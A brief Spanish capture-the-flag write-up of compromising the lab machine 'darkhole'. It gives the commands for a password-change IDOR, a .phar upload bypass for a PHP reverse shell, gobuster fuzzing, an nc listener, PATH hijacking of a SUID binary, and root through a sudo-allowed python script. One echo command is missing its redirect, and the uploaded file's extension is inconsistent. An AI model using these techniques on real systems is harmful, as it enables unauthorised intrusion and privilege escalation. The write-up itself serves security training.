Introduccion

Resumen de los pasos importantes, no el writeup al 100% para no hacerlo muy largo.

En esta maquina se practican:

  • Manejo de peticiones web por fallo en la programación
  • File upload bypass
  • Fuzzing web de directorios
  • Reverse shell
  • Path Hijacking
  • Sudo -l

Reconocimiento

Se lanza un primer reconocimiento y se ve un servicio SSH y otro HTTP. tras no encontrar ninguna vulnerabilidad de version, dirigimos a la web y miramos código html sin éxito. Posteriormente vamos al panel de login, encontramos un formulario de registro, lo hacemos y entramos a la web.

Manejo de peticiones web

En la opcion de cambiar la password, interceptamos la petición con burpsuite y vemos esto:

POST /dashboard.php?id=2 HTTP/1.1
...
...
...
password=test&id=2

Cambiamos lo ultimo por lo siguiente, interpretando que el usuario con ID 1 pueda ser el admin:

password=test&id=1

Y con éxito pudimos cambiar la pass al usuario admin, asi que logueamos como administrador.

Acceso a la MV

Encontramos un apartado para file upload, así que subimos una revese shell en php, para ello lo hacemos con la extension .phar ya que no deja .php

Hacemos fuzzing y descubirmos el directorio upload

gobuster dir -u http://192.168.118.129/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,txt,html

/upload               (Status: 301) [Size: 319] [--> http://192.168.118.129/upload/]

nos ponemos a la escucha y visitamos la url para establecer la reverse shell:

nc -nlvp 1234

http://192.168.118.129/upload/rev.phtml

Pivoting to user john

Mirando /etc/passwd vemos el usuario john, ademas comprobando permisos SUID vemos un script /home/john/toto y al ejecutarlo los muestra la salida del comando ID:


www-data@darkhole:/home/john$ find / -perm -4000 2>/dev/null
/home/john/toto

www-data@darkhole:/home/john$ ./toto
uid=1001(john) gid=33(www-data) groups=33(www-data)

Al ser un binario extraño, al analizarlo con strings vemos codigo que no se entiende, pero si por suerte el id no tiene la ruta absoluta /usr/bin/id, podemos falsear el path para pivotar, de esta manera cuando ejecute “id” realmente estará ejecutando /bin/bash y spameará una shell como john.

echo "/bin/bash" /tmp/id
chmod +x /tmp/id
export PATH=/tmp:$PATH

www-data@darkhole:/home/john$ ./toto
john@darkhole:/home/john$

Escalando a root

Con sudo -l vemos que se puede ejecutar como root python3 el script file.py asi que lo editamos para spamear una shell como root

john@darkhole:/home/john$ sudo -l 
[sudo] password for john: 
Matching Defaults entries for john on darkhole:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User john may run the following commands on darkhole:
    (root) /usr/bin/python3 /home/john/file.py

```bash

Contenido de file.py

import os; os.system(“/bin/bash”)

Escalar

sudo /usr/bin/python3 /home/john/file.py

Categories:

Updated: